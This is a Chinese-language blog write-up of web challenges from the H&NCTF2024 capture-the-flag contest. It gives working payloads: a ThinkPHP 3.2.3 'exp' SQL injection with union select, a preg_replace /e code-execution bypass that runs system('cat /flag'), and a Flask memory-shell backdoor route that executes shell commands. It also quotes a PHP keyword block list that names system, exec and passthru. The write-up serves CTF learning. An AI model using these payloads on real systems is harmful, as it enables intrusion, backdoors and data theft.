H&NCTF2024 web wp

dawn_r1sing Lv3

ez_tp

一道关于PHP框架——ThinkPHP

1
2
// 版本信息
const THINK_VERSION = '3.2.3';

搜了一下应该就是利用SQL注入了 → 点击

但属实没看明白url是怎么一回事

康康开发手册

image-20240512173649244

image-20240512172733034

image-20240512172437005

image-20240512173557114

之后就是一个exp注入+union

1
http://hnctf.imxbt.cn:23833/index.php/Home/Index/h_n/?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

image-20240512174248596

但其实可以从logs里抄答案

image-20240512174058395

exp注入调试:

解析条件语句

image-20240516162509878

image-20240516163040211

此时返回

image-20240516163806039

image-20240516164351963

image-20240516164626589

语句构造成功

Please_RCE_Me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
if($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if(isset($_POST['task'])&&isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
die('hacker!');
}else{
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
}
}
}else{
echo "moran want a flag.</br>(?moran=flag)";
}

利用preg_replace的/e模式执行php语句 + /i大写绕过 + 传参绕过

1
http://hnctf.imxbt.cn:54186/?moran=flag&a=system&b=cat /flag
1
task=$_GET['a']($_GET['b'])&flag=please_give_me_flaG

image-20240513182832087

ezFlask

image-20240517220030853

仅执行一次命令且在执行命令后生成flag文件

先想到的是反弹bash

image-20240516170351654

过滤了

第二个就应该想到内存马了(之前确实没接触过。。

flask的内存马 → 添加后门路由

1
add_url_rule()

利用新添路由绑定木马函数 → lambda

1
lambda:__import__('os').popen(request.args.get('cmd')).read()

他的后端语句是一个很简单的eval,也没有别的过滤

1
cmd=app.add_url_rule('/shell','shell',lambda:__import__('os').popen(request.args.get('cmd')).read())

image-20240517220510383

flipPin

waiting…

  • Title: H&NCTF2024 web wp
  • Author: dawn_r1sing
  • Created at : 2024-07-16 20:06:39
  • Updated at : 2024-07-16 20:15:14
  • Link: https://dawnrisingdong.github.io/2024/07/16/H-NCTF2024-web-wp/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
H&NCTF2024 web wp